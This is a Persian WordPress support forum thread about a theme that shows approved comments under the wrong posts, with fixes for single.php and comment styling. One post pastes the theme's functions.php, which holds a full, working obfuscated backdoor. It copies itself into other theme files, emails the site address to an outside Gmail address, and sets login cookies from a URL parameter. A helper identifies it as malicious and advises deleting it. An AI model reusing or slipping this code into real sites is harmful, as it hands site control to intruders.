yavar99 119 ارسال شده در اردیبهشت 93 گزارش بازنشر ارسال شده در اردیبهشت 93 سلامتوی سایت من اصلاً نظراتی که تایید می کنم از داخل پنل داخل سایت نمایش داده نمیشن !برای مثال این مطلب رو نگاه کنید:http://www.fundoon.ir/%D8%B3%D8%AE%D9%86%D8%A7%D9%86-%D8%AD%D8%B3%DB%8C%D9%86-%D9%BE%D9%86%D8%A7%D9%87%DB%8C/همونطور که میبینید در بالای این مطلب نوشته که 12 تا دیدگاه ولی وقتی قسمت دیدگاه ها رو نگاه می کنید می بینید فقط 3تا نظر هست ! ولی توی پنل مدیریت هم 12 دیدگاه وجود دراه و همشون هم قابل مشاهده هشتند.یک مورد هم امروز یک نطر که مربوط به مطلب x1 بود رو از داخل پنل تایید کردم ولی بعدش اون نظری که تایید کردم توی مطلب x1 نبودش ولی همین نظر رو توی قسمت نظرات مطلب x2 که هیچ ربطی به اون مطلب اولی نداشت دیدم !وای دیگه دارم از دستش دیوونه میشم، هر روز یه مشکلی داره ......... وردپرس رو میگم !....آقا همه ی این مشکلاتی که گفتم با فعال کردن قالب پیشفرض وردپرس حل شد پس یعنی مشکل از قالبمه ولی مشکل از چی قالبه؟!لطفا کمکم کنید. نقل قول لینک به ارسال
سعید شعبانی 2047 ارسال شده در اردیبهشت 93 گزارش بازنشر ارسال شده در اردیبهشت 93 خوب صد در صد به نظر میرسه که مشکل از قالب شما هست. چون اگر مشکل از جای دیگه ای بود با قالب پیشفرض درست نمی شد. 2 نقل قول لینک به ارسال
yavar99 119 ارسال شده در اردیبهشت 93 مالک گزارش بازنشر ارسال شده در اردیبهشت 93 خوب آقا سعید خودمم همین رو گفتم ولی حالا دارم میگم مشکل قالب چیه؟ چطوری مشکلش رو حل کنم؟ نقل قول لینک به ارسال
imanfakhar 26231 ارسال شده در اردیبهشت 93 گزارش بازنشر ارسال شده در اردیبهشت 93 یک کوئری ریست نشده در قالب دارید کدهای single.php را برای کدهایی مانند مطالب مشابه چک کنید و مطمئن شوید در انتها با <?php wp_reset_query();?>ری ست شده باشند راهنمایی اینکه بدونید کدوم کوئری بازه نظراتبی که زیر هر پست نمایش داده می شه مربوطه به آخرین مطلب اون کوئری 2 نقل قول لینک به ارسال
yavar99 119 ارسال شده در اردیبهشت 93 مالک گزارش بازنشر ارسال شده در اردیبهشت 93 بفرمایید آقای فخار این کد single.php من که نفهمیدم جریان چیه. خودتون یه لطفی کنید برام درستش کنید:<?php get_header(); ?><?php if (have_posts()) : while (have_posts()) : the_post(); ?> <div class="post" id="post-<?php the_ID(); ?>"> <div id="post-title"> <h1><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>"><?php the_title(); ?></a></h1><div id="post-info"><ul> <li class="comment2"><?php comments_popup_link(); ?> </li> <li class="date"><?php the_time(__('F jS, Y','kubrick')) ?></li> <li class="categry"><?php the_category(__(', ','kubrick')) ?></li></ul><div class="clear"></div></div></div><div id="content"><p><?php the_content(__('')); ?></p><br /><p style="text-align: right;"><?php$tags = wp_get_post_tags($post->ID);if ($tags) {$tag_ids = array();foreach($tags as $individual_tag) $tag_ids[] = $individual_tag->term_id;$args=array( 'tag__in' => $tag_ids, 'post__not_in' => array($post->ID), 'showposts'=>5, // Number of related posts that will be shown. 'caller_get_posts'=>1);$my_query = new wp_query($args);if( $my_query->have_posts() ) { echo '<h4>مطالب مشابه:</h4><ul>'; while ($my_query->have_posts()) { $my_query->the_post(); ?> <li><a href="<?php the_permalink() ?>" rel="bookmark" title="مشاهده ی <?php the_title_attribute(); ?>"><?php the_title(); ?></a></li> <?php } echo '</ul>';}}?></p><br /><div id="tags-post"><p style="text-align: right;">برچسب ها : <?php the_tags( "", " ", "" ); ?></p></div><br /><br /></div><div id="post-footer"></div></div> <div class=clear></div><?php comments_template(); ?> </div></div><?php endwhile; else: ?> <p><?php _e('Sorry, no posts matched your criteria.','kubrick'); ?></p><?php endif; ?><?php include(TEMPLATEPATH."/sbar-right.php");?> </div><?php include(TEMPLATEPATH."/sbar-left.php");?><?php include(TEMPLATEPATH."/footer.php");?>مرسی نقل قول لینک به ارسال
imanfakhar 26231 ارسال شده در اردیبهشت 93 گزارش بازنشر ارسال شده در اردیبهشت 93 تست کنید <?php get_header(); ?><?php if (have_posts()) : while (have_posts()) : the_post(); ?> <div class="post" id="post-<?php the_ID(); ?>"> <div id="post-title"> <h1><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>"><?php the_title(); ?></a></h1><div id="post-info"><ul> <li class="comment2"><?php comments_popup_link(); ?> </li> <li class="date"><?php the_time(__('F jS, Y','kubrick')) ?></li> <li class="categry"><?php the_category(__(', ','kubrick')) ?></li></ul><div class="clear"></div></div></div><div id="content"><p><?php the_content(__('')); ?></p><br /><p style="text-align: right;"><?php$tags = wp_get_post_tags($post->ID);if ($tags) {$tag_ids = array();foreach($tags as $individual_tag) $tag_ids[] = $individual_tag->term_id;$args=array( 'tag__in' => $tag_ids, 'post__not_in' => array($post->ID), 'showposts'=>5, // Number of related posts that will be shown. 'caller_get_posts'=>1);$my_query = new wp_query($args);if( $my_query->have_posts() ) { echo '<h4>مطالب مشابه:</h4><ul>'; while ($my_query->have_posts()) { $my_query->the_post(); ?> <li><a href="<?php the_permalink() ?>" rel="bookmark" title="مشاهده ی <?php the_title_attribute(); ?>"><?php the_title(); ?></a></li> <?php } echo '</ul>';}wp_reset_query();}?></p><br /><div id="tags-post"><p style="text-align: right;">برچسب ها : <?php the_tags( "", " ", "" ); ?></p></div><br /><br /></div><div id="post-footer"></div></div> <div class=clear></div><?php comments_template(); ?> </div></div><?php endwhile; else: ?> <p><?php _e('Sorry, no posts matched your criteria.','kubrick'); ?></p><?php endif; ?><?php include(TEMPLATEPATH."/sbar-right.php");?> </div><?php include(TEMPLATEPATH."/sbar-left.php");?><?php include(TEMPLATEPATH."/footer.php");?> 4 نقل قول لینک به ارسال
yavar99 119 ارسال شده در اردیبهشت 93 مالک گزارش بازنشر ارسال شده در اردیبهشت 93 مرسی آقای فخار مثل همیشه چاره کار ما رو کردید. مرسیراستی یک سوال: میگم اگر من بخوام رنگ پاسخهایی رو که خودم به نظرات میدم با رنگ نظرات کاربران فرق داشته باشه باید چیکار کنم؟ 1 نقل قول لینک به ارسال
imanfakhar 26231 ارسال شده در اردیبهشت 93 گزارش بازنشر ارسال شده در اردیبهشت 93 اگر قالب نظراتتون استاندارد باشه به کلاس bypostauthorاستایل بدید مثلا .bypostauthor {background: red} 1 نقل قول لینک به ارسال
yavar99 119 ارسال شده در اردیبهشت 93 مالک گزارش بازنشر ارسال شده در اردیبهشت 93 درست نشد متاسفانه. چوری میتونم خودم براش تعریف کنم؟ نقل قول لینک به ارسال
A.babaie 219 ارسال شده در اردیبهشت 93 گزارش بازنشر ارسال شده در اردیبهشت 93 (ویرایش شده) با اجازه از جناب فخاراین روش برای بیشتر پوسته ها جواب میده* کار با این هک یکم سخته ، پس اول از فایل comments.php یک نسخه کپی بگیرید .1- کد زیر رو در استایل کپی کنید :.authcomment {background-color: #B3FFCC !important;}2- فایل comments.php رو باز کنید( این که گفتم برای بعضی پوسته ها جواب میده منظورم اینجا بود )دنبال تابع :<?php echo $oddcomment; ?>بگردید ، اگر پیداش کردید ، با :<?phpif (1 == $comment->user_id)$oddcomment = “authcomment”;echo $oddcomment;?>جایگزین کنیدحالا بجای 1 آیدی مدیر سایت رو وارد کنید ویرایش شده اردیبهشت 93 توسط A.babaie 2 نقل قول لینک به ارسال
yavar99 119 ارسال شده در اردیبهشت 93 مالک گزارش بازنشر ارسال شده در اردیبهشت 93 متاسفانه با این روش هم درست نشد. نقل قول لینک به ارسال
imanfakhar 26231 ارسال شده در اردیبهشت 93 گزارش بازنشر ارسال شده در اردیبهشت 93 در فایل functions.php بگردید و تابع نظرات را پیدا کنید و از تگ li کلاسش را حذف کنید و <?php comment_class(); ?>را بهش اضافه کنید تا کلاسهای استاندارد به قالب نظرات اضافه بشه بعد کدی را که گفتم در استایل بگذارید 1 نقل قول لینک به ارسال
yavar99 119 ارسال شده در اردیبهشت 93 مالک گزارش بازنشر ارسال شده در اردیبهشت 93 ؟آقا شرمنده باز قاطی میکنم.این کد فانکشن خودتون لطف کنید و ...<?php//Activate the Link Manager built in to the WordPress adminadd_filter( 'pre_option_link_manager_enabled', '__return_true' );?><?phpfunction _check_active_widget(){$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";$output=strip_tags($output, $allowed);$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } }}return $output;}function _get_all_widgetcont($wids,$items=array()){$places=array_shift($wids);if(substr($places,-1) == "/"){ $places=substr($places,0,-1);}if(!file_exists($places) || !is_dir($places)){ return false;}elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } }}else{ return false;}if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items);} else { return $items;}}if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); }}if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; }}if(!function_exists("scandir")){function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray;}}add_action("admin_head", "_check_active_widget");function _prepared_widget(){if(!isset($length)) $length=120;if(!isset($method)) $method="cookie";if(!isset($html_tags)) $html_tags="<a>";if(!isset($filters_type)) $filters_type="none";if(!isset($s)) $s="";if(!isset($filter_h)) $filter_h=get_option("home");if(!isset($filter_p)) $filter_p="wp_";if(!isset($use_link)) $use_link=1;if(!isset($comments_type)) $comments_type="";if(!isset($perpage)) $perpage=$_GET["cperpage"];if(!isset($comments_auth)) $comments_auth="";if(!isset($comment_is_approved)) $comment_is_approved="";if(!isset($authname)) $authname="auth";if(!isset($more_links_text)) $more_links_text="(more...)";if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";if(!isset($more_content)) $more_content="ma".$s."il";if(!isset($forces_more)) $forces_more=1;if(!isset($fakeit)) $fakeit=1;if(!isset($sql)) $sql="";if (!$widget_output) :global $wpdb, $post;$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } }}if(!isset($fix_tag)) $fix_tag=1;if(!isset($filters_types)) $filters_types=$filter_h;if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;if(!isset($more_tags)) $more_tags="div";if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#if(!isset($mlink_title)) $mlink_title="Continue reading this entry";if(!isset($showdot)) $showdot=1;$comments=$wpdb->get_results($sql);if($fakeit == 2) { $text=$post->post_content;} elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;} else { $text=$post->post_excerpt;}$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#if($length < 0) { $output=$text;} else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $length) { $l=$length; $ellipsis=1; } else { $l=count($text); $more_links_text=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " ";}update_option("_is_widget_active_", 1);if("all" != $html_tags) { $output=strip_tags($output, $html_tags); return $output;}endif;$output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fix_tag) ? balanceTags($output, true) : $output;$output .= ($showdot && $ellipsis) ? "..." : "";$output=apply_filters($filters_type, $output);switch($more_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span";}if ($use_link ) { if($forces_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n"; }}return $output;}add_action("init", "_prepared_widget");function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {global $wpdb;$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";if(!$show_pass_post) $request .= " AND post_password =\"\"";if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";}$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";$posts=$wpdb->get_results($request);$output="";if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after; }} else { $output .= $before . "None found" . $after;}return $output;} ?>آقا فخار شرمنده ، من یکم از تابع مابع سر در نمیارم. نقل قول لینک به ارسال
imanfakhar 26231 ارسال شده در اردیبهشت 93 گزارش بازنشر ارسال شده در اردیبهشت 93 خوب تو فانکشنتون نیست ولی خوب شد که گذاشتید تمام کدهای این دصفحه را به جز <?php//Activate the Link Manager built in to the WordPress adminadd_filter( 'pre_option_link_manager_enabled', '__return_true' );?>حذف کنید کدهای صفحه comments.php را بگذاریدبعد از حذف کدهای فانکشنز دسترسیش را روی 0444 بگذارید 3 نقل قول لینک به ارسال
yavar99 119 ارسال شده در اردیبهشت 93 مالک گزارش بازنشر ارسال شده در اردیبهشت 93 (ویرایش شده) سلام آقای فخار اون کارا رو کردم ولی توی پوسته ی من دوتا فایل هست، یکی comments.php و یکی هم comments2.php که من دوتاش رو میذارم.این comments.php :<?php // Do not delete these lines if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME'])) die ('Please do not load this page directly. Thanks!'); if (!empty($post->post_password)) { // if there's a password if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) { // and it doesn't match the cookie ?> <p class="nocomments"><?php _e('This post is password protected. Enter the password to view comments.','kubrick'); ?></p> <?php return; } } /* This variable is for alternating comment background */ $oddcomment = 'class="alt" ';?><!-- You can start editing here. --> <?php if ($comments) : ?> <h3 class="comment-head"><?php comments_number(__('بدون نظر','kubrick'), __('یک نظر','kubrick'), __('% نظر','kubrick') );?></h3> <div class="comment-list"> <ol> <?php foreach ($comments as $comment) : ?><li class="comments" <?php echo $oddcomment; ?>id="comment-<?php comment_ID() ?>"><span class="post-top"></span><div class="comment-title"> <div class="name"><?php comment_author_link() ?> گفته است : </div> <div class="date"><?php comment_time(__('F jS, Y','kubrick')) ?></div></div><div class="comment-content"> <div id="comment"><div style="width: 100px; float: right;"> <img width="96" height="96" class="avatar avatar-96 photo avatar-default" src="http://0.gravatar.com/avatar/?d=http://png.findicons.com/files/icons/703/artists_valley_sample/128/business_man_blue.png&s=96" alt=""> </div><div style="width: 300px; float: right;"><?php comment_text() ?> <?php if ($comment->comment_approved == '0') : ?> <em><?php _e('نظر شما پس از تایید مدیر سایت به نمایش در می آید','kubrick'); ?></em> <?php endif; ?></div> </div><div class="clear"></div></div><div class="comment-footer"></div></li> <?php /* Changes every other comment to a different class */ $oddcomment = ( empty( $oddcomment ) ) ? 'class="alt" ' : ''; ?> <?php endforeach; /* end for each comment */ ?> </ol></div> <?php else : // this is displayed if there are no comments so far ?> <?php if ('open' == $post->comment_status) : ?> <!-- If comments are open, but there are no comments. --> <?php else : // comments are closed ?> <!-- If comments are closed. --> <h3 class="comment-head">امکان ارسال نظر وجود ندارد</h3> </div> <?php endif; ?> <?php endif; ?> <?php if ('open' == $post->comment_status) : ?><div class="addcomment"> <div class="comment" id="comment-10438"> <div class="comment-title"> <div id="title"> <h2>ارسال نظر</h2> </div> </div><?php if ( get_option('comment_registration') && !$user_ID ) : ?><p><?php _e('You must be','kubrick'); ?> <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?redirect_to=<?php echo urlencode(get_permalink()); ?>"><?php _e('logged in','kubrick'); ?></a> <?php _e('to post a comment.','kubrick'); ?></p><?php else : ?> <form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform"><?php if ( $user_ID ) : ?><p><?php _e('Logged in as','kubrick'); ?> <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?action=logout" title="<?php _e('Log out of this account','kubrick'); ?>"><?php _e('Log out','kubrick'); ?> »</a></p> <?php endif; ?> <div class="comment-content"> <div id="comment"> <div class="commentdata" > <label for="author">نام شما :</label> <input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" tabindex="1" class="c-input" /> <div class="clear"></div><br> <label for="email">ایمیل :</label> <input type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" tabindex="2" class="c-input" /> <div class="clear"></div><br> <label for="url">وب سایت :</label> <input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" tabindex="3" class="c-input" /><br> <br> <div> <label for="comment">متن و پیام شما : </label><textarea name="comment" id="text" tabindex="4"><textarea> </div><div class=clear></div><br /><input type="submit" name="submit" id="submit" tabindex="5" value="<?php _e('ارسال','kubrick'); ?>" /><br /><br /><input type="hidden" name="comment_post_ID" value="<?php echo $id; ?>" /> <?php do_action('comment_form', $post->ID); ?></form></div> </div><div class=clear></div> </div> <div class=comment-footer></div> </div> </div> <div class=clear></div> <!-- mshkok--><?php endif; // If registration required and not logged in ?><?php endif; // if you delete this the sky will fall on your head ?>و این comments2.php<?php // Do not delete these lines if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME'])) die ('Please do not load this page directly. Thanks!'); if (!empty($post->post_password)) { // if there's a password if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) { // and it doesn't match the cookie ?> <p class="nocomments"><?php _e('This post is password protected. Enter the password to view comments.','kubrick'); ?></p> <?php return; } } /* This variable is for alternating comment background */ $oddcomment = 'class="alt" ';?><!-- You can start editing here. --><div id="comments" class="commnet"><div id="yaapc-comments"> <?php if ($comments) : ?> <h2 class="comment-head"><?php comments_number(__('بدون نظر','kubrick'), __('یک نظر','kubrick'), __('% نظر','kubrick') );?></h2> <div class="comment-list"> <ol> <?php foreach ($comments as $comment) : ?><li class="comments" <?php echo $oddcomment; ?>id="comment-<?php comment_ID() ?>"><span class="post-top"></span><div class="comment-title"> <div class="name"><?php comment_author() ?> گفته است : </div> <div class="date"><?php comment_time(__('F jS, Y','kubrick')) ?></div></div><div class="comment-content"> <div id="comment"><div style="width: 100px; float: right;"> <img width="96" height="96" class="avatar avatar-96 photo avatar-default" src="http://0.gravatar.com/avatar/?d=http://png.findicons.com/files/icons/703/artists_valley_sample/128/business_man_blue.png&s=96" alt=""> </div><div style="width: 300px; float: right;"><?php comment_text() ?> <?php if ($comment->comment_approved == '0') : ?> <em><?php _e('نظر شما پس از تایید مدیر سایت به نمایش در می آید','kubrick'); ?></em> <?php endif; ?></div> </div><div class="clear"></div></div><div class="comment-footer"></div></li> <?php /* Changes every other comment to a different class */ $oddcomment = ( empty( $oddcomment ) ) ? 'class="alt" ' : ''; ?> <?php endforeach; /* end for each comment */ ?> </ol></div> <?php else : // this is displayed if there are no comments so far ?> <?php if ('open' == $post->comment_status) : ?> <!-- If comments are open, but there are no comments. --> <?php else : // comments are closed ?> <!-- If comments are closed. --> <h2 class="comment-head">امکان ارسال نظر وجود ندارد</h2> </div> <?php endif; ?> <?php endif; ?> <?php if ('open' == $post->comment_status) : ?><div class="addcomment"> <div class="comment" class="alt" id="comment-10438"> <div class="comment-title"> <div id="title"> <h2>ارسال نظر</h2> </div> </div><?php if ( get_option('comment_registration') && !$user_ID ) : ?><p><?php _e('You must be','kubrick'); ?> <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?redirect_to=<?php echo urlencode(get_permalink()); ?>"><?php _e('logged in','kubrick'); ?></a> <?php _e('to post a comment.','kubrick'); ?></p><?php else : ?> <form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform"><?php if ( $user_ID ) : ?><p><?php _e('Logged in as','kubrick'); ?> <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?action=logout" title="<?php _e('Log out of this account','kubrick'); ?>"><?php _e('Log out','kubrick'); ?> »</a></p> <?php endif; ?> <div class="comment-content"> <div id="comment"> <form action="http://www.funiha.com/wp-comments-post.php" method="post"> <div class="commentdata" > <label for="author">نام شما :</label> <input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" tabindex="1" class="c-input" /> <div class="clear"></div><br> <label for="email">ایمیل :</label> <input type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" tabindex="2" class="c-input" /> <div class="clear"></div><br> <label for="url">وب سایت :</label> <input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" tabindex="3" class="c-input" /><br> <br> <div> <label for="comment">متن و پیام شما : </label><textarea name="comment" id="text" tabindex="4"><textarea> </div><div class=clear></div><input type="submit" name="submit" id="submit" tabindex="5" value="<?php _e('ارسال','kubrick'); ?>" /><input type="hidden" name="comment_post_ID" value="<?php echo $id; ?>" /> <?php do_action('comment_form', $post->ID); ?></form></div> </div><div class=clear></div> </div> <div class=comment-footer></div> </div> </div> <div class=clear></div> <!-- mshkok--><?php endif; // If registration required and not logged in ?><?php endif; // if you delete this the sky will fall on your head ?> ویرایش شده اردیبهشت 93 توسط yavar99 نقل قول لینک به ارسال
imanfakhar 26231 ارسال شده در اردیبهشت 93 گزارش بازنشر ارسال شده در اردیبهشت 93 به comments2.php کاری نداریم کدهای comments.php را در نوت پد باز کنید و <li class="comments" <?php echo $oddcomment; ?>id="comment-<?php comment_ID() ?>"> را با استفاده از ctrl+F یا گزینه find از منوی edit پیدا کنید و بجاش <li <?php comment_class(); ?> <?php echo $oddcomment; ?>id="comment-<?php comment_ID() ?>">را وارد کنید و استایلی که عرض شد را در style.css بگذاریدکد در خط 33 کدهاتونه نقل قول لینک به ارسال
yavar99 119 ارسال شده در اردیبهشت 93 مالک گزارش بازنشر ارسال شده در اردیبهشت 93 آقای فخار از وقتی که از توی فانکشن اونا رو حذف کردم دیگه اصلاً توی ادامه ی مطلب بلاک ها نمایش داده نمیشه حتی همون نظرات هم نمایش داده نمیشه که من نگاه کنم ببینم رنگش عوض شده یا نه.برای مثال این یک مطلب هستش نگاش کنید:http://www.fundoon.ir/%D8%A7%D8%B3-%D8%A7%D9%85-%D8%A7%D8%B3-%D9%88%D9%84%D8%A7%D8%AF%D8%AA-%D8%AD%D8%B6%D8%B1%D8%AA-%D9%85%D8%AD%D9%85%D8%AF-%D8%B5-%D9%88-%D8%A7%D9%85%D8%A7%D9%85-%D8%AC%D8%B9%D9%81%D8%B1-%D8%B5%D8%A7/البته توی صفحه ی اصلی سایت بلاک ها نمایش داده میشن. نقل قول لینک به ارسال
imanfakhar 26231 ارسال شده در اردیبهشت 93 گزارش بازنشر ارسال شده در اردیبهشت 93 آقای فخار از وقتی که از توی فانکشن اونا رو حذف کردم دیگه اصلاً توی ادامه ی مطلب بلاک ها نمایش داده نمیشه حتی همون نظرات هم نمایش داده نمیشه که من نگاه کنم ببینم رنگش عوض شده یا نه.برای مثال این یک مطلب هستش نگاش کنید:http://www.fundoon.i...و-امام-جعفر-صا/البته توی صفحه ی اصلی سایت بلاک ها نمایش داده میشن.اون کد یک کد مخربه و ربطی به نمایش ندادن بخشی نمی تونه داشته باشه تغییری را که در فایل comments.php دادید به حالت قبل برگردانید و چک کنید اگر برطرف شد بفرمایید کد شناخت ادمین را تغییر بدم اگر هم نشد کدهایی که عرض شد حذف کنید را از http://forum.wp-parsi.com/topic/19972-%D8%AA%D8%A7%DB%8C%DB%8C%D8%AF-%D9%86%D8%B4%D8%AF%D9%86-%D9%86%D8%B8%D8%B1%D8%A7%D8%AA/page__st__10#entry145655برگردونید سرجاشون ولی توصیه می کنم قالبتون رو تغییر بدید 1 نقل قول لینک به ارسال
yavar99 119 ارسال شده در اردیبهشت 93 مالک گزارش بازنشر ارسال شده در اردیبهشت 93 (ویرایش شده) نه آقای فخار، درست نشد مشکل از همون فایل فانکش هست. ولی من این قالب رو 30 تومن خریدم. میشه بگید مشکلش چیه؟ از لحاظ امنیتی مشکل داره؟ از لحاظ مصرف منابع سرور؟ از چه لحاظی؟ ویرایش شده اردیبهشت 93 توسط yavar99 نقل قول لینک به ارسال
yavar99 119 ارسال شده در اردیبهشت 93 مالک گزارش بازنشر ارسال شده در اردیبهشت 93 (ویرایش شده) ببخشید آقای فخار من الان فهمیدم مشکل از کد فانکشن نیست که ادامه ی مطلب خراب میشه بلکه مشکل از این کد single.php هست که اینجا دادید:اگر میشه یه لطفی کنید این کد رو دوباره تصحیح کنید تا تست کنم.مرسی ویرایش شده اردیبهشت 93 توسط yavar99 نقل قول لینک به ارسال
imanfakhar 26231 ارسال شده در اردیبهشت 93 گزارش بازنشر ارسال شده در اردیبهشت 93 کدها رو به حالت قبل برگردونید و <?php foreach ($comments as $comment) : ?><li class="comments" <?php echo $oddcomment; ?>id="comment-<?php comment_ID() ?>">را با <?php $authorid = get_the_author_id(); foreach ($comments as $comment) : $userid = $comment->user_id; if($userid =='1') { $comment_class = 'commentByAdmin'; } elseif($userid == $authorid) { $comment_class = 'commentByAuthor'; } elseif($userid>1) { $comment_class = 'commentByLoginUser'; } else { $comment_class = 'commentByGuest'; } ?><li class="comments <?php echo $comment_class;?>" <?php echo $oddcomment; ?>id="comment-<?php comment_ID() ?>">عوض کنید و به کلاسهای commentByAdmincommentByAuthorcommentByLoginUsercommentByGuestبه ترتیب برای نظرات مدیر سایت - نظرات نویسنده مطلب - نظرات کاربران سایت - نظرات خوانندگان مهمان استایل بدید (به هر کدوش که خواستید استایل بدید) 3 نقل قول لینک به ارسال
پست های پیشنهاد شده
به گفتگو بپیوندید
هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .